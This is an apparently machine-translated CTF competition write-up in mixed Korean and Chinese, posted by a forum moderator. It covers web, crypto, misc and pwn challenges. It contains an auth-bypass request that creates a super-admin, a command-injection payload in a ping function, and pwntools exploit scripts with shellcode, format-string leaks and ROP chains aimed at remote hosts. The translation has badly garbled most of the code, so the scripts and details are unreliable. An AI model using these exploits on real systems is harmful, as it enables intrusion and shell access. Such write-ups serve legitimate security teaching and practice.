KoreanHackerTeam
Moderator
初赛
web_ezcms
Swagger 유출 테스트/테스트 계정 로그인,/sys/user/** 인증을 수행하지 않았으며, 슈퍼 관리자 사용자를 추가 할 수 있습니다.
현재 롤 리드는 아직 알려지지 않았습니다. 그리고 역할 모듈은 무단으로되지 않습니다. 사용자 모듈을 계속 읽고 인터페이스를 발견하십시오

여기에 롤 리드 누출이 있습니다. IDFCF34B56-A7A2-4719-9236-867495E74C31에서 이전에 누출 된 관리자가 여기에서 누출되었습니다.
get/sys/user/rosel/fcf34b56-a7a2-4719-9236-867495e74c31 현재 슈퍼 관리자 ID가 11B3B80C-4A0B-4A92-96EA-FDDD4F7A4A7E9, 사용자 추가
{
'CreateWhere ':0,
'Deptid':'1',
'이메일 ':',
'비밀번호 ':'123456',
'Phone ':'11111111111',
'롤 리드 ': [
'11B3B80C-4A0B-4A92-96EA-FDD4F7A4A7E9'
],
'섹스 ':'fmale',
'username ':'Hacker '
} 비밀번호 필드 디코딩이 실패한 다음 테스트 계정으로 로그를 확인한 후 AES의 키를 발견 한 다음 ABCDEFGHIJKLMNOP을 찾은 다음 사용자를 성공적으로 추가했습니다. 사용자를 추가 한 후 모듈에서 핑 함수를 찾았지만 WAF가 있습니다. Waf를 우회하고 명령을 실행하여 플래그를 얻습니다
Post/Sys/Pinghttp/1.1
호스트 :
user-agent:mozilla/5.0 (Macintosh; intelmacosx10.15; rv:126.0) gecko/20100101firefox/126.0
accept: application/json, text/javaScript,*/*; q=0.01
허용 :ZH-CN, ZH; Q=0.8, ZH-TW; Q=0.7, ZH-HK; Q=0.5, en-US; Q=0.3, en; Q=0.2
인코딩 :gzip, deflate
Content-Type: application/json; charset=utf-8
인증 3:eyjhbgcioijiuzi1nij9.eyjzdwiioijmy2yzngi1ni1hn2eyltq3mtktotizni04njc0otvlnzrjrjmzeilcjqd3qtcm9szxmta2 v5xyi6wylotoxnuqfnrqhnkhnkiblkzgixswiaxnzijoiewluz3h1zs5jb20ilcjqd3qtcgvybwlzc2lvbnmta2v5ijpbinn5czp1c2vyomxpc3qilcjzexm 6zgvwddp1cgrhdguilcjzzexm6zgvwddpkzxrhawwilcjzexm6dxnlcjpyb2xlonvwzgf0zsisinnn5czpwzxxtaxnzaw9uomfkzcisinn5czp1c2vyomfkzcisinn5cz p1c2vyomfkzcisinn5czp1c2vyomrlbgvgv0zwqilcjzexm6cgvybwlzc2lvbjp1cgrhdguilcjzexm6dxnlcjpkzxrhawwilcjzexm6zgvwdddddddddddddddddpkzwxlgkiiwic3lzon JVBGU6DXBKYXRLIIWIC3LZONJONJVBGGU6ZGV0YWLSIIWIC3LZOMRLCHQ6BGLZDCISINN5CZPKZXB0OMFKZCISINN5CZP1C2VYONVWZGF0ZSISINN5CZPYB2XLOMXPC3QILCJZEXM 6CM9SZTPKZWXLDGVKIIWIC3LZONBLCM1PC3NPB246BGLZDCISINN5CZPWZXJTAXNZAW9UOMRLDGFPBCISINN5CZPWZXJTAXNZAW9UOMRLDGFBCISINN5CZPWNZTAXNUO mrlbgv0zwqilcjzexm6bg9nomrlbgvgvgv0zwqilcjzexm6dxnlcjpyb2xlomrldgfpbcisinn5czpyb2xlomfkzcisinn5czpsb2c6bglzdcjdlcjqd3qtdx nlci1uyw1llwtlesi6imfkbwluiiwiiiwizxhwijoxnze2nze3mjiwlcjpyxqioje3mty3mtawmjb9.9wcw8m2ky0lftbd2b7yaampktl_eo0kjcb5j3bw8fka
x- Quested-with:xmlhttprequest
컨텐츠 길이 :28
Origin:
DNT:1
SEC-GPC:1
Connection:Close
참조 :
Cookie:jsessionID=C701D746DA63E8FB94270AD6D2FD9ADB
Sec-Fetch-Dest:Empty
Sec-Fetch-Mode:Cors
Sec-Fetch-Site:Same-Origin
우선 순위 :U=1
{ 'IP'3360'10.10.10.10-1 || cat/flag'}
绝密文件-代号P
importcv2importnumpyasnp
S=17909320918192914995334613617854206759768232774125658680790702997290913658
fromcrypto.util.numberimport*
#P, Q=(2416276037837276242470687817893681267,
#347432454257893250496407965506777649463)
## assertp ** 2+q ** 2==s
## print (isprime (p), isprime (q))
#img_path='flag_enc.png'
#img=cv2.imread (img_path)
#print (img.shape)
Fromympy.solvers.diophantine.diophantineimportcornacchia
'' ''
이 장소는 수정하고 s에서 분해되어야하며 팩토링
F={7247215681561944590028089613581484765881:1,157606014 243244438240601:1,5801674693:1,2:1,1351:1}
'' ''
x1=Cornacchia (1,1, s)
fora, binx1:
Asserta ** 2+b ** 2==s
Ifisprime (a) Andisprime (b) :
인쇄 (a, b)
#나는 여기에 p와 q를 얻었습니다
fromcrypto.util.numberimport*
P, Q=302951519846417861008714825074296492447,29548872365062365416370451762393175957
S=17909320918192914995334613617854206759768232774125658680790702997290913658
Assertisprime (P) Andisprime (Q) 및 P ** 2+Q ** 2==S
importcv2
path1='flag_enc.png'
img=cv2.imread (path1)
#print (img.shape)
r, c, d=img.shape
인쇄 (R, C)
#i, j=101,201
Fromtqdmimporttqdm
a, b=p, q
foriintqdm (범위 (r)) :
forjinrange (c) :
set1=set ()
set1.add ((i, j))
i1, j1=i, j
WHILETRUE:
x=(i1+b*j1)%r
y=((a*i1)+(a*b+1)*j1)%c
i1, j1=x, y
if (x, y) notinset1:
set1.add ((x, y))
else:
ifi==0andj==0:
계속 계속하십시오
AssertLen (set1)==190#은 모두 기본값 190입니다
#우리는 여기에서 190이라는 것을 알았습니다. 우리가 방금 나중에 만지기 시작한 것은 우연의 일치였습니다.
#s1=s%190
#print (S1)
#importnumpyasnp
#defarnold (IMG, Shuffle_Times, A, B) :
#r, c, d=img.shape
#p=np.zeros (img.shape, np.uint8)
#print (r, c, d, shuffle_times)
#forsinRange (Shuffle_Times) :
#foriinRange (R) :
#forjinrange (c) :
#x=(i+b*j)%r
#y=((a*i)+(a*b+1)*j)%c
#p [x, y,]=img [i, j,]
#img=np.copy (p)
#returnp
#x1=Arnold (IMG, 11, P, Q)
#cv2.imwrite ( 'flag3.png', x1)
## cv2.imwrite ( 'flag1.png', img)
틀
C=179093209181929149953334613617854206759768232774125658680790702997290913658
P, Q=302951519846417861008714825074296492447,29548872365062365416370451762393175957
importcv2
importnumpyasnp
Defarnold (IMG, Shuffle_times, A, B) :
r, c, d=img.shape
p=np.zeros (img.shape, np.uint8)
print (r, c, d, shuffle_times)
ForsinRange (Shuffle_Times) :
foriinrange (R) :
forjinrange (c) :
x=(i+b*j)%r
y=((a*i)+(a*b+1)*j)%c
p [x, y,]=img [i, j,]
img=np.copy (p)
반품
img=cv2.imread ( 'flag_enc.png')
#print (IMG)
C1=C%190
Foriinrange (190) :
IMG=Arnold (IMG, 1, P, Q)
cv2.imwrite (f'flag {i+1} .png ', img)
'' ''
1. 격렬하게 열거하십시오. 어쨌든,주기는 190이며, 모든 것을 열거하십시오. i=66을 찾으면 flag67.png는 플래그입니다
2.flag {ailuropoda_rnelanoleca}
'' '
坚持做正确的事
트래픽 패킷에서 검색된 데이터는 이미지의 16 진수 시스템입니다.
그의 16 진수 시스템을 확인하고 끝에 추가 데이터가 있는지 확인하십시오.

VIM 드로잉 명령입니다. Drawit을 직접 설치하고 명령을 입력하여지도를 그립니다.
GAME
게임을 직접 플레이하고 깃발을 얻습니다这是真签到

FunIoT
은 Docker 파일 세트를 제공하고, 이진 파일을 실행하고, 역전을 직접 열고, 동적 디버깅 및 정적 분석을 결합하여 프로토콜 형식을 분석하고, 마지막으로 읽기 파일의 기능 중 하나를 사용하고 //우회 비교 감지 :
그런 다음 깃발을 읽으십시오.
Frommpwnimport*
importzlib
#P=원격 ( '127.0.0.1', 6768)
P=원격 ( '173.34.20.10', 6768)
헤더=b'funiot '#6
CMD=0x102
cmd_encode=int (cmd) .to_bytes (2, 'big')
LEN=0x0101
길이=int (len) .to_bytes (2, 'big')
#content=b'getInfo:shadow '
#content=b'getInfo:/lib/udev/rc_keymaps/asus_pc39.toml '
content=b'getInfo: //flag '
content=content.ljust (0x101, b '\ x00')
check_sum=int (zlib.crc32 (content)). to_bytes (4, 'big')
full_content=헤더+길이+cmd_encode+check_sum+컨텐츠
#packet:
#Header:6Bytes
#length:2Bytes
#CMD:2BYTES
#checksum33604Bytes
#content:UnkNow
context.log_level='디버그'
P.Send (full_content)
#p.interactive ()
importbase64
print (base64.b64decode (p.recv ()). decode ( 'utf-8'))
#command33600getInfo, setInfo, Secret
guess_hack
이 질문은 최대 값과 최소값을 입력 한 다음이 범위에서 임의의 숫자를 추측해야합니다. 올바르게 추측하면 스택 오버플로에 들어갑니다. 오버플로 캐릭터의 수는 잘못 생각한 횟수이므로 두 개의 인접한 숫자를 입력 한 다음 충분한 시간을 추측 한 다음 정기적 인 스택 오버 플로우 활용을 수행 할 수 있습니다. 스택은 열린 후에 스택을 실행할 수 있고, 감지에 페이로드가 비어 있지 않아야하므로 직접 쉘 코드를 작성하고 비어 있지 않은 감지를 우회 한 작은 XOR를 수행했습니다.#랜덤%(max-min+1)+min
Frommpwnimport*
context.log_level='디버그'
#p=프로세스 ( './main')
P=원격 ( '173.34.20.233', 9999)
p.sendlinter (b'ch: ', b'1')
p.sendlintter (b'enteraminumandmaximumnumberforthegeinggame: ', b'12')
foriinrange (99) :
p.sendlinter (b'guessanumber ', b'1')
p.sendlinter (b'guessanumberbetween ', b'2')
페이로드=b'a '*0x3c
페이로드+=P32 (0x0805dea9)
Payload+=ASM ( ''Push0xffffffff4
popeax
push0xffffffffffff
Popepx
xoreax, ebx
푸시0xff978cd0
popecx
xorecx, ebx
푸시 렉스
푸시0x6e69622f
MoveBX, esp
Xorecx, Ecx
int0x80 '' ')
Payload=Payload.ljust (99, B'a ')
정지시키다()
p.sendlinter (b'congratulations! ', Payload)
p.interactive ()
msg
사전 사전의 스택 오버플로 + 형식 문자열 취약성은 카나리아 및 LIBC로 누출되는 형식 문자열 취약점을 이용한 다음 오버플로 리턴 주소는 다음과 같습니다.Frommpwnimport*
#p=프로세스 ( './main')
P=원격 ( '173.34.20.68', 9999)
p.sendlintter (b'message: ', b'%11 $ p ')
Canary=int (p.recv (18), 16)
성공 (f'canary: {hex (canary)} ')
p.sendlinter (b'message: ', b'%3 $ p ')
libc=int (p.recv (14), 16) -0x10e1f2
성공 (f'libc: {hex (libc)} '))
하나=libc+0xe3b01
p.sendlinter (b'message: ', b'a'*0x28+p64 (카나리)+b'b '*8+p64 (1)))
정지시키다()
p.sendlinter (b'message: ', b'\ x00 '*0x10)
P.interactive ()
stackover
은 또한 클래식 스택 오버플로이지만 원격 LIBC는 로컬과 약간 다릅니다. 또한, 반환 주소는 성공적으로 사용되지 않은 Leaf ESP, [ECX-4], RET를 통해 반환됩니다. 그러나 프로그램을 다양한 출력 장소로 제어 한 후에는 스택 환경이 기본적으로 동일하다는 것이 결정되므로 결국 LIBC에 의존하지 않도록하십시오.Frommpwnimport*
#context.log_level='디버그'
#p=process ( './stackover')
P=원격 (B'173.34.20.46 ', 9999)
p.sendafter (b'read: ', b'a'*0x29b)
p.recvuntil (b'a '*0x29b)
Canary=u32 (b '\ x00'+p.recv (3))
성공 (f'canary: {hex (canary)} ')
#정지시키다()
p.SendAfter (B'Read: ', B'A'*(0x29B+7+8+0x2c-0x30-4)))))
p.recvuntil (b'a '*(0x29b+7+8+0x2c-0x30-4)))))
p.recv (4)
p.recv (4)
스택=u32 (p.recv (4))
성공 (f'stack: {hex (stack)} ')
#정지시키다()
p.SendAfter (B'Read: ', B'B'*(0x29B+0x18+7)))
p.recvuntil (b'b '*(0x29b+0x18+7)))
libc=u32 (p.recv (4)) -0x1aed5
성공 (f'libc: {hex (libc)} '))
#정지시키다()
p.SendAfter (B'Read: ', B'A'*(0x29B+7+8+0x2c+0x54))))
p.recvuntil (b'a '*(0x29b+7+8+0x2c+0x54)))))
elf_base=u32 (p.recv (4)) -0x3fb8
성공 (f'elf_base: {hex (eff_base)} ')
페이로드=b'c '*(0x29a-0x14-8)
#execve0xc9510
#System0X41780
#puts0x6dc40
#페이로드+=P32 (libc+0x6dc40)
#Payload+=P32 (ELF_Base+0x1130)
페이로드+=b '/bin/sh \ x00'
페이로드+=P32 (ELF_BASE+0x128E)
#페이로드+=P32 (ELF_BASE+0x3FCC)
#페이로드+=P32 (0)
페이로드+=P32 (stack-0x50)
페이로드+=P32 (0)
#페이로드+=P32 (libc+0x18e363)
#페이로드+=P32 (libc+0x18e363)
페이로드+=P32 (0)
페이로드+=P32 (0)
페이로드+=P32 (카나리아)
페이로드+=P32 (0)*3
페이로드+=P32 (stack-0x44)
페이로드+=P32 (ELF_BASE+0x3FB8)
페이로드+=b '/bin/sh \ x00'
정지시키다()
context.log_level='디버그'
p.sendafter (b'read: ', 페이로드)
p.interactive ()
stackover-revenge
은 255 내에 추가 및 뺄셈 기능을 제공합니다. 처음에는 취약성이 보이지 않았지만 나중에는 작은 백도어 코드가 프로그램의 정상 프로세스에 추가 된 것을 발견했습니다.
IDA는 F5를 누르고 여기에서 볼 수 없습니다. 다른 장소의 백도어 코드는 위의 코드의 트리거링 조건을 완료 할 수 있습니다.